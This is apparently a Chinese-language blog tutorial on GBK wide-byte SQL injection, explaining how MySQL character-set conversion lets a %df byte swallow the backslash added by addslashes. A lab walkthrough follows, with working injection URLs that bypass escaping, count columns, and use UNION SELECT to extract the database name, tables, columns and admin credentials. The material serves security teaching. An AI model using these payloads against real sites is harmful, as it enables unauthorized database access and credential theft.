00:00
加载中……请稍等……

前言

在mysql中,用于转义(即在字符串中的符号前加上””)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。


涉及到的基本概念

1.字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中
的位置。

2.UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。
因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

3.宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。


MYSQL的字符集转换过程

1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

  • 使用每个数据字段的CHARACTER SET设定值;
  • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
  • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
  • 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。


宽字节注入原理:

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ = %df%5c%27=縗’,有了单引号就好注入了。


简单的宽字节注入
以靶场练习平台的题目为例:
1.本此用于测试的 宽字节注入点,如下
http://192.168.3.23/wide/0x01/index.php?id=2
1wide_type_2.png
2.这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了
http://192.168.3.23/wide/0x01/index.php?id=2'
2wide_type_3.png
3.现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’’已经罢工了
3wide_type_4.png
4.通过观察打出来的sql语句,可以发现,那个 ‘%df’和’’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下
http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23 条件为真时返回正常
4wide_type_5.png
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为假时返回异常
5wide_type_6.png
5.查询当前表的字段个数
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常
6wide_type_7.png
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段
7wide_type_8.png
6.执行union,爆出对应的数据显示位
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23
8wide_type_9.png
7.搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23
9wide_type_10.png
8.查出当前库中的所有表名
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23
10wide_type_11.png
9.查出admin表中的所有字段名
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
11wide_type_12.png
10.最后,去查出管理的账号密码数据即可
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23
11wide_type_13.png


总结:
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。黑盒测试我们只能不断的尝试,当进行代码审计的白盒测试的时候可以优先看看有没有魔术引号,以及编码是不是GBK,当数据库的编码为GBK的时候存在宽字节的可能性很大。可以简单的理解为开发在考虑安全问题的时候,给我们营造了一种绕过手段。当然这不是开发的锅。

Last modification:May 9th, 2020 at 10:40 pm